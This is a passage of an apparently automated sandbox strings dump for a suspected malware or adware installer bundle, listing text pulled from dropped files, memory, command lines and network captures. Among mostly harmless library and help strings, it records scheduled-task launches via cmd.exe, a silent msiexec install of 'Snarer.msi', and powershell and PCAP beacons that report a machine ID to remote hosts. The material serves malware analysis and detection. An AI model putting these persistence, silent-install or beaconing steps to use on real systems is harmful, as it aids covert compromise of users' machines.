-pids <n> <pid1 pid2 ... >
Unicode based on Dropped File (ttttt.exe.179545488)
-PkgAppIdFilter <PRAID>
Unicode based on Dropped File (ttttt.exe.179545488)
-PkgIdFilter <Package Full Name>
Unicode based on Dropped File (ttttt.exe.179545488)
-Pmc <Ctrs>:<Events> Configure PMC counter sampling on events
Unicode based on Dropped File (ttttt.exe.179545488)
-ProfileSource
Unicode based on Dropped File (ttttt.exe.179545488)
-ProfileSource <src> Configure profiling source to use. 'Help' for list of sources
Unicode based on Dropped File (ttttt.exe.179545488)
-ptid=che0812 -silence
Ansi based on Process Commandline (QQBrowser.exe)
-q [LoggerName] Query status of [LoggerName] trace session
Unicode based on Dropped File (ttttt.exe.179545488)
-remove
Unicode based on Dropped File (ttttt.exe.179545488)
-rt b option is no longer valid. It has been replaced by -buffering.
Unicode based on Dropped File (ttttt.exe.179545488)
-s Print count of each type of handle open.
Ansi based on Dropped File (hhhhh.exe.655875088)
-secure
Unicode based on Dropped File (ttttt.exe.179545488)
-seq <n> Sequential logfile of up to n Mbytes
Unicode based on Dropped File (ttttt.exe.179545488)
-sessionguid Autologger session GUID Registry value
Unicode based on Dropped File (ttttt.exe.179545488)
-SetProfInt
Unicode based on Dropped File (ttttt.exe.179545488)
-sourceguid #<guid> Enable tracing with Source Guid (enableex/disableex only)
Unicode based on Dropped File (ttttt.exe.179545488)
-sp-cyrl
Unicode based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
-SP-Latn
Unicode based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
-stackwalk <Events> Enable stack walking for specified events
Unicode based on Dropped File (ttttt.exe.179545488)
-StackWalkFilter -<in|out> <n> <id1 id2 ...>
Unicode based on Dropped File (ttttt.exe.179545488)
-start
Unicode based on Dropped File (ttttt.exe.179545488)
-start [LoggerName] Starts up the [LoggerName] trace session
Unicode based on Dropped File (ttttt.exe.179545488)
-stop
Unicode based on Dropped File (ttttt.exe.179545488)
-stop [LoggerName] Stops the [LoggerName] trace session
Unicode based on Dropped File (ttttt.exe.179545488)
-systemlogger Logger can receive SystemTraceProvider events
Unicode based on Dropped File (ttttt.exe.179545488)
-systemrundown [LoggerName]
Unicode based on Dropped File (ttttt.exe.179545488)
-timeout
Unicode based on Dropped File (ttttt.exe.179545488)
-u Show the owning user name when searching for handles.
Ansi based on Dropped File (hhhhh.exe.655875088)
-um Enable Process Private tracing
Unicode based on Dropped File (ttttt.exe.179545488)
-update
Unicode based on Dropped File (ttttt.exe.179545488)
-update [LoggerName] Updates the [LoggerName] trace session
Unicode based on Dropped File (ttttt.exe.179545488)
-UsePerfCounter Use Perf Counter clock
Unicode based on Dropped File (ttttt.exe.179545488)
-UseSystemTime Use System Time clock
Unicode based on Dropped File (ttttt.exe.179545488)
-UZ-Cyrl
Unicode based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
-uz-cyrl
Unicode based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
-UZ-Latn
Unicode based on Dropped File (UAC.dll.626400535)
-v?r{(*r
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
-viVqW/n=
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
-y Don't prompt for close handle confirmation.
Ansi based on Dropped File (hhhhh.exe.655875088)
-|Q9v
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
-~+{7AL3-
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
. * @type {boolean} * @private */ isClearingInProgress_: false, /** * Whether or not the WebUI handler has completed initialization. * * Unless this becomes true, it must be assumed that the above flags might * not c
Ansi based on Runtime Data (CPK.exe )
. S}vzmp~$
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
.00cfg
Ansi based on Dropped File (ttttt.exe.179545488)
.<3Zq7e_z('
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
.??0Y7~?mp?H?_|6(??'>
Ansi based on Runtime Data (rundll32.exe )
.???A???4???
Ansi based on Runtime Data (rundll32.exe )
.?AUctype_base@std@@
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
.?AUmessages_base@std@@
Ansi based on Dropped File (kokoko.dll.2691425955)
.?AUmoney_base@std@@
Ansi based on Dropped File (kokoko.dll.2691425955)
.?AUtime_base@std@@
Ansi based on Dropped File (kokoko.dll.2691425955)
.?AV?$_Iosb@H@std@@
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
.?AV?$_Mpunct@_W@std@@
Ansi based on Dropped File (kokoko.dll.2691425955)
.?AV?$_Mpunct@D@std@@
Ansi based on Dropped File (kokoko.dll.2691425955)
.?AV?$_Mpunct@G@std@@
Ansi based on Dropped File (kokoko.dll.2691425955)
.?AV?$basic_filebuf@DU?$char_traits@D@std@@@std@@
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
.?AV?$basic_ifstream@DU?$char_traits@D@std@@@std@@
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
.?AV?$basic_ios@DU?$char_traits@D@std@@@std@@
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
.?AV?$basic_istream@DU?$char_traits@D@std@@@std@@
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
.?AV?$basic_ofstream@DU?$char_traits@D@std@@@std@@
Ansi based on Dropped File (MIO.dll.1862922135)
.?AV?$basic_ostream@DU?$char_traits@D@std@@@std@@
Ansi based on Dropped File (kokoko.dll.2691425955)
.?AV?$basic_ostringstream@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@
Ansi based on Dropped File (kokoko.dll.2691425955)
.?AV?$basic_streambuf@DU?$char_traits@D@std@@@std@@
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
.?AV?$basic_stringbuf@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@
Ansi based on Dropped File (kokoko.dll.2691425955)
.?AV?$codecvt@_WDH@std@@
Ansi based on Dropped File (kokoko.dll.2691425955)
.?AV?$codecvt@DDH@std@@
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
.?AV?$codecvt@GDH@std@@
Ansi based on Dropped File (kokoko.dll.2691425955)
.?AV?$collate@_W@std@@
Ansi based on Dropped File (kokoko.dll.2691425955)
.?AV?$collate@D@std@@
Ansi based on Dropped File (kokoko.dll.2691425955)
.?AV?$collate@G@std@@
Ansi based on Dropped File (kokoko.dll.2691425955)
.?AV?$ctype@_W@std@@
Ansi based on Dropped File (kokoko.dll.2691425955)
.?AV?$ctype@D@std@@
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
.?AV?$ctype@G@std@@
Ansi based on Dropped File (kokoko.dll.2691425955)
.?AV?$messages@_W@std@@
Ansi based on Dropped File (kokoko.dll.2691425955)
.?AV?$messages@D@std@@
Ansi based on Dropped File (kokoko.dll.2691425955)
.?AV?$messages@G@std@@
Ansi based on Dropped File (kokoko.dll.2691425955)
.?AV?$money_get@_WV?$istreambuf_iterator@_WU?$char_traits@_W@std@@@std@@@std@@
Ansi based on Dropped File (kokoko.dll.2691425955)
.?AV?$money_get@DV?$istreambuf_iterator@DU?$char_traits@D@std@@@std@@@std@@
Ansi based on Dropped File (kokoko.dll.2691425955)
.?AV?$money_get@GV?$istreambuf_iterator@GU?$char_traits@G@std@@@std@@@std@@
Ansi based on Dropped File (kokoko.dll.2691425955)
.?AV?$money_put@_WV?$ostreambuf_iterator@_WU?$char_traits@_W@std@@@std@@@std@@
Ansi based on Dropped File (kokoko.dll.2691425955)
.?AV?$money_put@DV?$ostreambuf_iterator@DU?$char_traits@D@std@@@std@@@std@@
Ansi based on Dropped File (kokoko.dll.2691425955)
.?AV?$money_put@GV?$ostreambuf_iterator@GU?$char_traits@G@std@@@std@@@std@@
Ansi based on Dropped File (kokoko.dll.2691425955)
.?AV?$moneypunct@_W$00@std@@
Ansi based on Dropped File (kokoko.dll.2691425955)
.?AV?$moneypunct@_W$0A@@std@@
Ansi based on Dropped File (kokoko.dll.2691425955)
.?AV?$moneypunct@D$00@std@@
Ansi based on Dropped File (kokoko.dll.2691425955)
.?AV?$moneypunct@D$0A@@std@@
Ansi based on Dropped File (kokoko.dll.2691425955)
.?AV?$moneypunct@G$00@std@@
Ansi based on Dropped File (kokoko.dll.2691425955)
.?AV?$moneypunct@G$0A@@std@@
Ansi based on Dropped File (kokoko.dll.2691425955)
.?AV?$num_get@_WV?$istreambuf_iterator@_WU?$char_traits@_W@std@@@std@@@std@@
Ansi based on Dropped File (kokoko.dll.2691425955)
.?AV?$num_get@DV?$istreambuf_iterator@DU?$char_traits@D@std@@@std@@@std@@
Ansi based on Dropped File (kokoko.dll.2691425955)
.?AV?$num_get@GV?$istreambuf_iterator@GU?$char_traits@G@std@@@std@@@std@@
Ansi based on Dropped File (kokoko.dll.2691425955)
.?AV?$num_put@_WV?$ostreambuf_iterator@_WU?$char_traits@_W@std@@@std@@@std@@
Ansi based on Dropped File (kokoko.dll.2691425955)
.?AV?$num_put@DV?$ostreambuf_iterator@DU?$char_traits@D@std@@@std@@@std@@
Ansi based on Dropped File (kokoko.dll.2691425955)
.?AV?$num_put@GV?$ostreambuf_iterator@GU?$char_traits@G@std@@@std@@@std@@
Ansi based on Dropped File (kokoko.dll.2691425955)
.?AV?$numpunct@_W@std@@
Ansi based on Dropped File (kokoko.dll.2691425955)
.?AV?$numpunct@D@std@@
Ansi based on Dropped File (kokoko.dll.2691425955)
.?AV?$numpunct@G@std@@
Ansi based on Dropped File (kokoko.dll.2691425955)
.?AV?$time_get@_WV?$istreambuf_iterator@_WU?$char_traits@_W@std@@@std@@@std@@
Ansi based on Dropped File (kokoko.dll.2691425955)
.?AV?$time_get@DV?$istreambuf_iterator@DU?$char_traits@D@std@@@std@@@std@@
Ansi based on Dropped File (kokoko.dll.2691425955)
.?AV?$time_get@GV?$istreambuf_iterator@GU?$char_traits@G@std@@@std@@@std@@
Ansi based on Dropped File (kokoko.dll.2691425955)
.?AV?$time_put@_WV?$ostreambuf_iterator@_WU?$char_traits@_W@std@@@std@@@std@@
Ansi based on Dropped File (kokoko.dll.2691425955)
.?AV?$time_put@DV?$ostreambuf_iterator@DU?$char_traits@D@std@@@std@@@std@@
Ansi based on Dropped File (kokoko.dll.2691425955)
.?AV?$time_put@GV?$ostreambuf_iterator@GU?$char_traits@G@std@@@std@@@std@@
Ansi based on Dropped File (kokoko.dll.2691425955)
.?AV__non_rtti_object@std@@
Ansi based on Dropped File (kokoko.dll.2691425955)
.?AV_com_error@@
Ansi based on Dropped File (kokoko.dll.2691425955)
.?AV_Facet_base@std@@
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
.?AV_Generic_error_category@std@@
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
.?AV_Iostream_error_category@std@@
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
.?AV_Locimp@locale@std@@
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
.?AV_System_error@std@@
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
.?AV_System_error_category@std@@
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
.?AVbad_alloc@std@@
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
.?AVbad_cast@std@@
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
.?AVbad_exception@std@@
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
.?AVbad_function_call@std@@
Ansi based on Dropped File (kokoko.dll.2691425955)
.?AVbad_typeid@std@@
Ansi based on Dropped File (kokoko.dll.2691425955)
.?AVCAtlException@ATL@@
Ansi based on Dropped File (psi.dll.1283195511)
.?AVcharNode@@
Ansi based on Dropped File (kokoko.dll.2691425955)
.?AVcodecvt_base@std@@
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
.?AVDefaultValueAllocator@Json@@
Ansi based on Dropped File (kokoko.dll.2691425955)
.?AVDNameNode@@
Ansi based on Dropped File (kokoko.dll.2691425955)
.?AVDNameStatusNode@@
Ansi based on Dropped File (kokoko.dll.2691425955)
.?AVerror_category@std@@
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
.?AVexception@std@@
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
.?AVfacet@locale@std@@
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
.?AVfailure@ios_base@std@@
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
.?AVFastWriter@Json@@
Ansi based on Dropped File (kokoko.dll.2691425955)
.?AVinvalid_argument@std@@
Ansi based on Dropped File (kokoko.dll.2691425955)
.?AVios_base@std@@
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
.?AVlength_error@std@@
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
.?AVlogic_error@std@@
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
.?AVout_of_range@std@@
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
.?AVoverflow_error@std@@
Ansi based on Dropped File (kokoko.dll.2691425955)
.?AVpairNode@@
Ansi based on Dropped File (kokoko.dll.2691425955)
.?AVpcharNode@@
Ansi based on Dropped File (kokoko.dll.2691425955)
.?AVpDNameNode@@
Ansi based on Dropped File (kokoko.dll.2691425955)
.?AVregex_error@std@@
Ansi based on Dropped File (kokoko.dll.2691425955)
.?AVruntime_error@std@@
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
.?AVStyledWriter@Json@@
Ansi based on Dropped File (kokoko.dll.2691425955)
.?AVsystem_error@std@@
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
.?AVtype_info@@
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
.?AVValueAllocator@Json@@
Ansi based on Dropped File (kokoko.dll.2691425955)
.?AVWriter@Json@@
Ansi based on Dropped File (kokoko.dll.2691425955)
.\PhysicalDrive%d
Unicode based on Dropped File (psi.dll.1283195511)
.^}wpQ._w
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
.`Wo6
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
.all(promises).then(this._onFinished.bind(this,changedCSSRules));}_onFinished(changedCSSRules,changedModels){var nodeMapping=new Map();var map=this._map.rebase(changedModels,nodeMapping);if(!map)return null;var cssEdits=[];for(var rule of changedCSSRules){
Ansi based on Runtime Data (CPK.exe )
.bx75834123
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
.cfguard
Ansi based on Dropped File (ttttt.exe.179545488)
.CRT$XCA
Ansi based on Dropped File (ttttt.exe.179545488)
.CRT$XCAA
Ansi based on Dropped File (ttttt.exe.179545488)
.CRT$XCZ
Ansi based on Dropped File (ttttt.exe.179545488)
.CRT$XIA
Ansi based on Dropped File (ttttt.exe.179545488)
.CRT$XIAA
Ansi based on Dropped File (ttttt.exe.179545488)
.CRT$XIY
Ansi based on Dropped File (ttttt.exe.179545488)
.CRT$XIZ
Ansi based on Dropped File (ttttt.exe.179545488)
.d8J7d/trB2
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
.data
Ansi based on Dropped File (ttttt.exe.179545488)
.data$brc
Ansi based on Dropped File (ttttt.exe.179545488)
.H??p?x?
Ansi based on Runtime Data (rundll32.exe )
.Ha8&vlQ]W
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
.idata
Ansi based on Dropped File (ttttt.exe.179545488)
.idata$2
Ansi based on Dropped File (ttttt.exe.179545488)
.idata$3
Ansi based on Dropped File (ttttt.exe.179545488)
.idata$4
Ansi based on Dropped File (ttttt.exe.179545488)
.idata$5
Ansi based on Dropped File (ttttt.exe.179545488)
.idata$6
Ansi based on Dropped File (ttttt.exe.179545488)
.j[P}Y6]U
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
.m<"m7:}
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
.mVjc/4[h
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
.onchange = function() { self.updateCheckboxes_(); self.validateCommitButton_(); }; $('import-data-commit').onclick = function() { chrome.send('importData', [ String($('import-browsers').selectedIndex),
Ansi based on Runtime Data (CPK.exe )
.pdata
Ansi based on Dropped File (hhhhh.exe.655875088)
.rdata
Ansi based on Dropped File (ttttt.exe.179545488)
.rdata$brc
Ansi based on Dropped File (ttttt.exe.179545488)
.rdata$sxdata
Ansi based on Dropped File (ttttt.exe.179545488)
.rdata$zzzdbg
Ansi based on Dropped File (ttttt.exe.179545488)
.rsrc
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
.rsrc$01
Ansi based on Dropped File (ttttt.exe.179545488)
.rsrc$02
Ansi based on Dropped File (ttttt.exe.179545488)
.text
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
.text$mn
Ansi based on Dropped File (ttttt.exe.179545488)
.textAlign = 'end'; cell.hidden = !cm.isVisible(i); cell.appendChild( cm.getRenderFunction(i).call(null, dataItem, cm.getId(i), table)); listItem.appendChild(cell); } listItem.style.width = cm.totalWidth + 'px';
Ansi based on Runtime Data (CPK.exe )
.UIString('Rendering'),true,'hsl(256, 67%, 76%)','hsl(256, 67%, 70%)'),painting:new Timeline.TimelineCategory('painting',Common.UIString('Painting'),true,'hsl(109, 33%, 64%)','hsl(109, 33%, 55%)'),gpu:new Timeline.TimelineCategory('gpu',Common.UIString('GPU'),
Ansi based on Runtime Data (CPK.exe )
.xdata$x
Ansi based on Dropped File (ttttt.exe.179545488)
.Xs[+4VIt
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
.|q6]+&tt
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
/$???
Ansi based on Runtime Data (rundll32.exe )
/$G0II?Ay
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
/'iP6shpV
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
/,IO^C%oV!
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
/,ou<;Sau
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
/,RD~OQL\
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
// (Tracked at https://crbug.com/368855.
Ansi based on Hybrid Analysis (CPK.exe , 00056905-00001036.00000000.57406.00401000.00000020.mdmp)
// Extension ID: nkeimhogjdpnpccoofpliimaahmaaome
Ansi based on Dropped File (CJ)
// For tests.
Ansi based on Dropped File (CJ)
// Note: Always update the version number when this file is updated. Chrome
Ansi based on Dropped File (CJ)
// triggers extension preferences update on the version increase.
Ansi based on Dropped File (CJ)
//v4//sofclean//vboxxharddisk_vb47a275fd-833fcbff?action=bbuc.1
Ansi based on PCAP Processing (PCAP)
/1s+rQy<
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
/20170427_UPdateuuu.dat
Ansi based on PCAP Processing (PCAP)
/229c19eea00c7d30a54cbf43ef8fb865
Ansi based on PCAP Processing (PCAP)
/;JxT
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
/?!"yQ
Ansi based on Runtime Data (rundll32.exe )
/?7Z?9??????.?Z?q
Ansi based on Runtime Data (rundll32.exe )
/??{???QE?E??2?x?
Ansi based on Runtime Data (rundll32.exe )
/A0vt
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
/accepteula
Unicode based on Dropped File (hhhhh.exe.655875088)
/c schtasks /Run /TN Milimili
Ansi based on Process Commandline (cmd.exe)
/c schtasks /Run /TN Windows-PG
Ansi based on Process Commandline (cmd.exe)
/cl/downloader?version=52.0.20.935&channel=official&d=1&userid=VBOXXHARDDISK_VB47a275fd-833fcbff&src=ff
Ansi based on PCAP Processing (PCAP)
/d4c04g24ci6x7.cloudfront.net/v4/gtg/VBOXXHARDDISK_VB47a275fd-833fcbff?action=C
Unicode based on Runtime Data (powershell.exe )
/d4c04g24ci6x7.cloudfront.net/v4/gtg/VBOXXHARDDISK_VB47a275fd-833fcbff?action=G
Unicode based on Runtime Data (powershell.exe )
/d4c04g24ci6x7.cloudfront.net/v4/gtg/VBOXXHARDDISK_VB47a275fd-833fcbff?action=m
Unicode based on Runtime Data (powershell.exe )
/d4c04g24ci6x7.cloudfront.net/v4/gtg/VBOXXHARDDISK_VB47a275fd-833fcbff?action=p
Unicode based on Runtime Data (powershell.exe )
/d4c04g24ci6x7.cloudfront.net/v4/gtg/VBOXXHARDDISK_VB47a275fd-833fcbff?action=Q
Unicode based on Runtime Data (powershell.exe )
/d4c04g24ci6x7.cloudfront.net/v4/gtg/VBOXXHARDDISK_VB47a275fd-833fcbff?action=U
Unicode based on Runtime Data (powershell.exe )
/dhxx2phjrf4w5.cloudfront.net/v4/gtg/vboxxharddisk_vb47a275fd-833fcbff?action=m
Unicode based on Runtime Data (powershell.exe )
/firef/install/52.0.20.935.dat
Ansi based on PCAP Processing (PCAP)
/Hl NCM44
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
/i "C:\winsap_update\Snarer.msi" /qn
Ansi based on Process Commandline (msiexec.exe)
/index.php?uid=vboxxharddisk_vb47a275fd-833fcbff&pid=psgo&ver=2.1.4
Ansi based on PCAP Processing (PCAP)
/index.php?uid=vboxxharddisk_vb47a275fd-833fcbff.dat
Ansi based on PCAP Processing (PCAP)
/provide?clients=205294FCB91F0BD563B0A9FDE9B54EA6&reqs=visit.cpk.install.ed
Ansi based on PCAP Processing (PCAP)
/provide?clients=205294FCB91F0BD563B0A9FDE9B54EA6&reqs=visit.cpk.startload
Ansi based on PCAP Processing (PCAP)
/provide?clients=FDCD348802B68637AEF7B63EA18BF8E1&reqs=visit.cpk.startload
Ansi based on PCAP Processing (PCAP)
/search/z.php
Ansi based on PCAP Processing (PCAP)
/v4/gtg/VBOXXHARDDISK_VB47a275fd-833fcbff?action=ClearLog.install.finish
Ansi based on PCAP Processing (PCAP)
/v4/gtg/vboxxharddisk_vb47a275fd-833fcbff?action=mio.1
Ansi based on PCAP Processing (PCAP)
/v4/gtg/vboxxharddisk_vb47a275fd-833fcbff?action=visit.psgo.0&update3=version,2.1.4
Ansi based on PCAP Processing (PCAP)
/v4/gtg/vboxxharddisk_vb47a275fd-833fcbff?action=visit.psgo.1
Ansi based on PCAP Processing (PCAP)
/v4/gtg/vboxxharddisk_vb47a275fd-833fcbff?action=visit.psgo.14
Ansi based on PCAP Processing (PCAP)
/v4/gtg/vboxxharddisk_vb47a275fd-833fcbff?action=visit.psgo.3
Ansi based on PCAP Processing (PCAP)
/v4/gtg/vboxxharddisk_vb47a275fd-833fcbff?action=visit.psgo.4
Ansi based on PCAP Processing (PCAP)
/v4/gtg/vboxxharddisk_vb47a275fd-833fcbff?action=visit.psgo.6
Ansi based on PCAP Processing (PCAP)
/v4/gtg/VBOXXHARDDISK_VB47a275fd-833fcbff?action=visit.winsap.work&update3=version,2.8.12
Ansi based on PCAP Processing (PCAP)
/v4/gtg/VBOXXHARDDISK_VB47a275fd-833fcbff?action=WinSAP.install.finish
Ansi based on PCAP Processing (PCAP)
/v4/gtg/VBOXXHARDDISK_VB47a275fd-833fcbff?action=winsnare.install.finish
Ansi based on PCAP Processing (PCAP)
/v4/service/205294FCB91F0BD563B0A9FDE9B54EA6?action=visit.UpdatesWuApp.heartbeat.462
Ansi based on PCAP Processing (PCAP)
/v4/sofclean/vboxxharddisk_vb47a275fd-833fcbff?action=mibx.ClearLog.1
Ansi based on PCAP Processing (PCAP)
/v4/sofclean/vboxxharddisk_vb47a275fd-833fcbff?action=mibx.CPK.1
Ansi based on PCAP Processing (PCAP)
/v4/sofclean/vboxxharddisk_vb47a275fd-833fcbff?action=mibx.Gubed.1
Ansi based on PCAP Processing (PCAP)
/v4/sofclean/vboxxharddisk_vb47a275fd-833fcbff?action=mibx.psgo.1
Ansi based on PCAP Processing (PCAP)
/v4/sofclean/vboxxharddisk_vb47a275fd-833fcbff?action=mibx.UUUCC.1
Ansi based on PCAP Processing (PCAP)
/v4/sofclean/vboxxharddisk_vb47a275fd-833fcbff?action=mibx.WinSnare.1
Ansi based on PCAP Processing (PCAP)
/vboxxharddisk_vb47a275fd-833fcbff.dat
Ansi based on PCAP Processing (PCAP)
/vboxxharddisk_vb47a275fd-833fcbff/psgo/2.1.4
Ansi based on PCAP Processing (PCAP)
/web_report
Ansi based on PCAP Processing (PCAP)
/winsap/up?ptid=winsap&sid=winsap&ln=en_us&ver=2.8.12&uid=VBOXXHARDDISK_VB47a275fd-833fcbff&dp=0
Ansi based on PCAP Processing (PCAP)
0 0$0(0,0004080<0@0D0H0
Ansi based on Memory/File Scan (QQBrowser.exe , 00060649-00002620.00000002.67144.509C5000.00000002.mdmp)
0 5-2.24 5-5 0-2.64-2.05-4.78-4.65-4.96z"/></g><g id="cloud-circle"><path d="M12 2C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2zm4.5 14H8c-1.66 0-3-1.34-3-3s1.34-3 3-3l.14.01C8.58 8.28 10.13 7 12 7c2.21 0 4 1.79 4 4h.5c1.38 0 2.5 1.12 2.5 2.5S1
Ansi based on Runtime Data (CPK.exe )
0!<)W@>y
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
0#0'0+0/03070;0?0C0G0K0O0S0W0[0_0c0g0k0o0s0w0{0
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
0$0,040<0D0L0T0\0d0l0t0|0
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
0$181j1u1
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
0&VL.P]!nE
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
0(0,00080P0`0d0t0x0|0
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
0(0/0
Ansi based on Dropped File (hhhhh.exe.655875088)
0,040T0x0
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
0- abort() has been called
Unicode based on Dropped File (MIO.dll.1862922135)
002- floating point support not loaded
Unicode based on Memory/File Scan (CPK.exe , 00056905-00001036.00000000.57406.00412000.00000002.mdmp)
008- not enough space for arguments
Unicode based on Memory/File Scan (CPK.exe , 00056905-00001036.00000000.57406.00412000.00000002.mdmp)
0123456789-
Ansi based on Dropped File (kokoko.dll.2691425955)
0123456789-+Ee
Ansi based on Dropped File (kokoko.dll.2691425955)
0123456789ABCDEF
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
0123456789abcdefABCDEF
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
0123456789ABCDEFabcdef-+Xx
Ansi based on Dropped File (kokoko.dll.2691425955)
0123456789ABCDEFabcdef-+XxPp
Ansi based on Dropped File (kokoko.dll.2691425955)
0123456789abcdefghijklmnopqrstuvwxyz
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
013 asdw dwrt aw cctv
Unicode based on Dropped File (psi.dll.1283195511)
013 Tencent. All Rights Reserved.
Unicode based on Memory/File Scan (QQBrowser.exe , 00060649-00002620.00000002.67144.509C5000.00000002.mdmp)
018- unexpected heap error
Unicode based on Dropped File (hhhhh.exe.655875088)
019- unable to open console device
Unicode based on Dropped File (MIO.dll.1862922135)
024282<2@2D2H2L2
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
024282<2@2D2H2L2P2\2`2d2h2l2p2t2x2|2
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
03_4875
Unicode based on Memory/File Scan (CPK.exe , 00056905-00001036.00000000.57406.00412000.00000002.mdmp)
05090?0C0I0M0R0e0i0o0s0y0}0
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
061;1@1E1L1V1
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
0968730498576390845603984576908_3475698347596083745098673904587_6039487569034875
Unicode based on Memory/File Scan (CPK.exe , 00056905-00001036.00000000.57406.00412000.00000002.mdmp)
0<`zA{_5
Ansi based on PCAP Processing (PCAP)
0??4\?#@?:4?
Ansi based on Runtime Data (rundll32.exe )
0?x?O?r?
Ansi based on Runtime Data (rundll32.exe )
0_q^Y<hB;
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
0bx533 123<1
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
0bx533 123<1!
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
0bx533 123<1&
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
0bx533 123<1]
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
0bx533 123<1pg
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
0bx533>123413^
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
0F2U2&383
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
0G1N1p1w1
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
0kahoO
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
0q0z0W1b1u1
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
0RhiY4:cK
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
0wkw[0IM'2eT
